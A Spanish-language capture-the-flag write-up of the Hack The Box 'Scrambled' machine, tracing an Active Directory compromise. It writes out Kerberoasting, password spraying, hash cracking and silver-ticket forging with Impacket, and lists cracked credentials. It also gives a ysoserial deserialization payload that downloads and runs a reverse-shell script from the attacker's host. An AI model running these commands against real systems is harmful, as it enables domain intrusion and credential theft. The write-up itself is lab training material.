10.10.11.168 Scrambled

Para las siguientes máquinas que vaya a solucionar, buscaré nuevas formas de presentar el writeup, una forma más visual y agradable junto con varios enlaces que nos ayuden a entender que hacemos :3

Enumeration

A continuación, se mostrara la respectiva enumeración realizada al objetivo

TCP

```
PORT    STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
80/tcp   open  http         Microsoft IIS httpd 10.0
      |_http-title: Scramble Corp Intranet
      | http-methods:
      |_  Potentially risky methods: TRACE
      |_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-09 19:01:12Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site:
Default-First-Site-Name)
      | ssl-cert: Subject: commonName=DC1.scrm.local
      | Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
      | Not valid before: 2022-06-09T15:30:57
      |_Not valid after:  2023-06-09T15:30:57
      |_ssl-date: 2022-07-09T19:02:37+00:00; -4s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site:
Default-First-Site-Name)
      |_ssl-date: 2022-07-09T19:02:37+00:00; -4s from scanner time.
      | ssl-cert: Subject: commonName=DC1.scrm.local
      | Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
      | Not valid before: 2022-06-09T15:30:57
      |_Not valid after:  2023-06-09T15:30:57
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
      | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
      | Not valid before: 2022-07-08T05:28:19
      |_Not valid after:  2052-07-08T05:28:19
      |_ssl-date: 2022-07-09T19:02:37+00:00; -4s from scanner time.
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site:
Default-First-Site-Name)
      | ssl-cert: Subject: commonName=DC1.scrm.local
      | Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
      | Not valid before: 2022-06-09T15:30:57
      |_Not valid after:  2023-06-09T15:30:57
      |_ssl-date: 2022-07-09T19:02:37+00:00; -4s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site:
Default-First-Site-Name)
```

```
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-07-09T19:02:37+00:00; -4s from scanner time.
```

UDP

Web Services

Nikto

Dirb\DirBuster

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited: Kerberos
Vulnerability Type: Golden Ticket
Exploit POC: Impacket
Description:
Se realiza un ataque del boleto dorado al directorio activo, que consiste en generar un boleto para un usuario existente o no pero que cuenta con privilegios suficientes para enumerar o acceder a algún servicio de nuestro objetivo, con el fin de escalar e ingresar al sistema para ser vulnerado.

Discovery of Vulnerability
Se realiza una serie de ataques al directorio activo, siendo uno satisfactorio y dando un primer paso para identificar el resto del ataque, junto con ayuda de otras tecnicas de enumeración se extrae información para realizar el ataque identificado como Golden Ticket.

Exploit Code Used
No se realiza un exploit como tal, se usan una serie de exploits para vulnerar, a continuación, los comandos usados:
• python GetNPUsers.py 'scrm.local/' -usersfile usernameScrambled2.txt -request -format john -dc-ip 10.10.11.168 (Enumeramos usuarios)
• Entre ellos y la enumeración de la web, logramos obtener un usuario valido "ksimpson"
• ./kerbrute bruteuser -d scrm.local --dc 10.10.11.168 pass usersScrambled2.txt, haciendo un uso de un diccionario para un ataque de fuerza bruta y añadiendo los mismos usuarios encontrados como contraseñas, logramos identificar la siguiente credencial ksimpson:ksimpson
• Al tener esto usamos el script de impacket getTGT para obtener un ticket (boleto) de autenticación para algunos servicios y ver que podemos hacer
  ◇ impacket-getTGT -dc-ip 10.10.11.168 scrm.local/ksimpson:ksimpson
• Teniendo el ticket, debemos añadirlo a una variable especifica para poder leer el ticket y que el servicio lo reconozca, export KRB5CCNAME=ksimpson.ccache
• Ahora usaremos el siguiente script, impacket-GetUserSPNs -dc-ip 10.10.11.168 scrm.local/ksimpson:ksimpson, pero en este caso, tendremos una serie de errores, los podemos hacer modificando el script de impacket o en su defecto descargandolo desde su repositorio:
  ◇ El primero corresponde al siguiente mensaje [-] exceptions must derive from BaseException, el cual lo arreglaremos revisando el siguiente enlace https://github.com/SecureAuthCorp/impacket/issues/1206#issuecomment-961395218 que nod dira la solución
  ◇ El otro error puede ser uno referente al host, el cual para arreglaro debemos ingresar y modificar el registro dns o host de nuestra máquina, nano /etc/host y añadimos la línea 10.10.11.168 scrm.local
• Después de tener estos arreglos procedemos a ejecutar el comando nuevamente, en mi caso lo hice alterando uno descargado desde el repositorio.
• python GetUserSPNs.py -dc-ip 10.10.11.168 dc1.scrm.local/ksimpson:ksimpson -k -debug -request y obtendremos algo interesante; si en su caso recibe otro error de host, por ejemplo, pruebe alterando el target del script añadiendo "dc1.scrm.local"

• Con ayuda de John, logramos descifrar el hash adquirido del nuevo usuario “sqlsvc”
• john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt sqlsvc:Pegasus60
• Ahora procederemos a la creación del silver ticket (boleto plateado) cuya idea de esto es poder usar algún servicio de nuestro objetivo y que la máquina crea que somos un usuario confiable y nos pueda dar acceso a alguno de sus servicios, para ello necesitamos el dominio SID de la máquina, hay varias formas de obtenerlo, pero sus servicios como el SMB están inabilitados por lo tanto tenemos que recurrir al script de impcaket getPAC.
• impacket-getPac -targetUser sqlsvc scrm.local/sqlsvc:Pegasus60
  ◇ Domain SID: S-1-5-21-2743207045-1827831105-2542523200
• Ahora con esta información, podemos crear nuestro boleto plateado para intentar acceder a algún servicio, ¿qué sucede si intentamos crearlo para acceder a msql, si ya tenemos el usuario sqlsvc?
• Para ello usaremos el script de impacket ticketer, pero antes debemos cifrar la contraseña en un del tipo ntlm ya que es un parámetro del script, pero si si mal no estoy, también hay uno con contraseña :D
  ◇ https://www.browserling.com/tools/ntlm-hash acá podemos obtener nuestro hash NTLM :3
  ◇ impacket-ticketer -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip 10.10.11.168 -spn mssqls/scrm.local sqlsvc
• Guardamos nuestro boleto en la variable export KRB5CCNAME=sqlsvc.ccache
• Intentamos con el servicio msqlserver impacket-mssqlclient -k scrm.local, y pumm, entramos a un servicio, si realizamos una enumeración para poder detectar lo que podemos ver en su DB, encontraremos algo interesante, primero aprendamos a usarlo (a mí me costo :( )
• Conociendo las bases de datos existentes SELECT name FROM master.dbo.sysdatabases
• Conociendo las tablas de una DB SELECT * FROM ScrambleHR.INFORMATION.SCHEMA_TABLES
• Conociendo una de sus tablas USE ScrambleHR SELECT * FROM UserImport
• Veremos un nuevo usuario miscsvc:ScrambledEggs9900
• Ya con otro usuario, lo normal es que usemos algo como psexec, winrm, crackmapexec o evil-winrm por ejemplo, pero no podremos hacer mucho, ya que muchos servicios se encuentran desahbilitados :(
• Por lo tanto nos queda una opción más, ¿es posible crear un reverse shell con este servicio?
• Si buscamos por internet, lograremos dar con varios enlaces que hablan de ello, en especial es posible dar con este por ejemplo, https://rioasmara.com/2020/05/30/impacket-mssqlclient-reverse-shell/, el cual nos dará en detalle como se realiza, si es el caso podemos revisar otras dos entradas en este blog que nos explican un poco de una forma más detallada.

Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Post Exploitation

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited: Falta de configuración en privilegios de usuarios
Vulnerability Type:
Exploit POC:
Description:
Usando Winpeas es posible visualizar algunas brechas que pueden ser explotadas, pero esto no es posible si no se realiza alguna enumeración interna para encontrar nuesta vulnerablidad.

Discovery of Vulnerability
Al ingresar nos damos cuenta que no es posible acceder a la bandera con este usuario, por lo tanto tenemos que escalar a otro, ¿cómo sabemos esto? Encontramos un usuario en la DB, por lo tanto podemos pensar que es posible escalar de alguna manera, como en Windows no es posible cambiar de usuario como en los sistemas de Linux, buscando y preguntado se llega a Roma; y nos damos cuenta que es posible ejecutar algunas acciones a nombre de otro siempre y cuando tengamos un objeto correspondiente de ese usuario, como tenemos usuario y contraseña, ahora solo es buscar como hacer dicho ataque, interesante no, ejecutar algo en nombre de otro :D

Exploit Code Used
Se usa la siguiente serie de comandos:
• Siguiendo el descubrimiento que obtuvimos, procedemos a crear el usuario con los datos obtenidos, a continuación:
  ◇ $userName = 'miscsvc'
  ◇ $userPassword = 'ScrambledEggs9900'
  ◇ $secStringPassword = ConvertTo-SecureString $userPassword -AsPlainText -Force
  ◇ $credObject = New-Object System.Management.Automation.PSCredential ($userName,

$secStringPassword)
◇ Invoke-Command -ComputerName dc1.scrm.local -Credential $credObject -ScriptBlock { whoami } y listo, que nuestra maldad salga :3

Service Exploited: Servidor de prueba expuesto en red
Vulnerability Type: Ausencia del mínimo privilegio
Exploit POC: N/A
Description:
Usando WinPEAS se logra detectar un posible servidor saliente en un puerto, ¿recuerdan la herramienta que vimos en la página web? Este servidor realiza una ejecución ya que se encuentra activo y recibe una serie de comandos, una pequña enumeración junto con lo visto en WinPEAS y tendremos las pistas suficientes para poder seguir con un ataque interno

Discovery of Vulnerability
Usando WinPEAS y una pequeña enumeración encontramos un servidor y un archivo dll que si lo extraemos podemos obtener información importante para poder usarla en el ataque y escalar al usuario necesario.

Exploit Code Used
Se uso una serie de comandos y WinPEAS.
• Obtuvimos WinPeas de la siguiente forma powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.122:8080/winPeas.exe','C:\Users\miscsvc\Documents\winPEAS.exe')"
• Al revisar carpetas miramos las principales al estar en C: y vemos una con nombre “Shares” que si revisamos como chismoso encontraremos un ejecutable y un dll es posible descargarlo y lo veremos con más calma en nuestra máquina.
• Si les sucede como a mí que les sale error por todo, en mi caso se solucionó de la siguiente forma, copiamos el dll al escritorio y usamos el nc que hay en temp (En mi caso había un netcat en la carpeta Temp)
• copy 'C:\Shares\IT\Apps\Sales Order Client\ScrambleLib.dll' 'C:\Users\miscsvc\Desktop\ScrambleLib.dll'
• Con ayuda del comando String revisamos el binario, y vemos varias cosas interesantes, en primer caso pensamos en hacer un ataque DLL Hijacking pero veremos que no funciona :(, entonces lo siguiente que nos queda es revisar el dll y veremos algunos terminos interesantes que google nos dirá que son y si modificamos nuestra busqueda nos dirá el ataque.
• Al lograr dar con ello si revisamos en especifico las páginas de Microsoft nos darán un enlace para hacerse tipo de ataque especifico en Windows (Qué gonitos, nos ayudan a hackearlos :3)
• En un principio pensé en copiar el comando y descargarlo en nuestra víctima, pero no es recomendable hacer por que muy probable que nos descubran y nos puedan atrapar (si es que no lo hicieron ya antes con toda ese ruido que debimos hacer para entrar :D), eso y porque no me funcionó :(
• El siguiente comando lo podemos ejecutar en windows, ya sea el nuestro ysoserial.exe -f BinaryFormatter -g SessionSecurityToken -o base64 -c “powershell.exe Invoke-Command -ComputerName dc1.scrm.local -ScriptBlock { IEX(New-Object New.webclient).downloadString('http://10.10.14.122:8080/revS.ps1') }"
• Y hemos creado nuestro payload que ahora debemos buscar dónde ejecutarlo, pero si hicimos una buena enumeración inicial de la máquina junto con la hecha por este usuario, ya sabemos que tenemos que hacer.
• Precedemos:
◇ nc -nv 4411
◇ UPLOAD_ORDER;<acá va nuestro payload> no se nos olvide poner un netcat a escuchar para tener acceso :3
Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Goodies

Hashes

sqlsvc:$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/
sqlsvc*$19e2ad103578944362f79cfc619615e0$a5b96acf04e610d9ba22a4fdc9ef53d6cd47f9f0f37083b

Passwords

ksimpson:ksimpson
sqlsvc:Pegasus60
miscsvc:ScrambledEggs9900

Proof\Flags\Other

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress

- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto
- ☐ dirb
- ☐ dirbuster
- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the software

Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book